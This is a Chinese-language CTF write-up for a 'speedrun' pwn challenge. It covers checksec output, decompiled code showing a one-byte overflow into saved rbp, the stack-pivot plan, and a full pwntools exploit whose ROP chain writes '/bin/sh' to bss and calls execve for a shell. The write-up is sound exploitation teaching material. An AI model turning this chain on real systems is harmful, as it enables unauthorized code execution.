相关资源
文件分析 1 2 3 4 5 6 $ checksec speedrun Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
代码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 __int64 say () { char buf[10 ]; int len; IO_puts("how much do you have to say?" ); _libc_read(0 , buf, 9uLL ); buf[9 ] = 0 ; len = atoi(buf); if ( len <= 0 ) return IO_puts("That's not much to say." ); if ( len <= 257 ) return read_len((unsigned int )len); return IO_puts("That's too much to say!." ); }
如果大小在1-257之内 则调用read_len
1 2 3 4 5 6 7 8 9 10 __int64 __fastcall read_len (int a1) { char buf[256 ]; buf[0 ] = 0 ; IO_puts("Ok, what do you have to say for yourself?" ); _libc_read(0 , buf, a1); return printf ( (unsigned int )"Interesting thought \"%s\", I'll take it into consideration.\n" , (unsigned int )buf); }
buf长为256 明显可以溢出一个字节到old_rbp 从而利用stack pivot
攻击方法 将old_rbp最低位更改为0x00 进而ret后会跳转到0x08来执行 gdb调试分析发现多数情况下都在buf内部 也就是可以在buf内布置ROP然后跳转执行
但因为没法泄露 不知道具体的写入位置 可以通过多个ret来到达同样的地址执行ROP
因此也不是每次都能成功 有一定概率 依赖于栈顶地址
还有就是没有现成的/bin/sh 需要自己调用read函数写到bss段上然后利用
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *import syspty = process.PTY context(os='linux' , arch='amd64' , log_level='debug' ) mode = '' if len (sys.argv) > 1 : mode = sys.argv[1 ] proc = process("./speedrun" ) belf = ELF("./speedrun" ) def s (x ): proc.send(x)def sl (x ): return proc.sendline(x)def sla (x, y ): return proc.sendlineafter(x, y)def sa (x, y ): return proc.sendafter(x, y)def ru (x ): return proc.recvuntil(x)def rc (): return proc.recv()def rl (): return proc.recvline()def li (con ): return log.info(con)def ls (con ): return log.success(con)def pi (): return proc.interactive()def pcls (): return proc.close()def ga (): return u64(ru(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))gscript = ''' set env DEBUG=1 b * 0x0000000000400BB4 # b * 0x0000000000400C7A ''' + 'c\n' * 1 if mode == '-d' : gdb.attach(proc, gdbscript=gscript) main = 0x400C46 bss = 0x6BB300 syscall = 0x000000000040132c rax_ret = 0x0000000000415f04 rdi_ret = 0x0000000000400686 rsi_ret = 0x0000000000410a93 rdx_ret = 0x000000000044a155 rdx_rsi_ret = 0x000000000044c6d9 ret = 0x0000000000400416 read = 0x000000000044A140 sla(b'say?' , b'257' ) payload = p64(ret) * 13 payload += p64(rdi_ret) + p64(0 ) payload += p64(rdx_rsi_ret) + p64(8 ) + p64(bss) payload += p64(read) payload += p64(rax_ret) + p64(0x3b ) payload += p64(rdi_ret) + p64(bss) + p64(rdx_rsi_ret) + p64(0 ) * 2 payload += p64(syscall) sa(b'yourself?' , payload.ljust(257 , b'\x00' )) sl(b'/bin/sh\x00' ) pi() pause()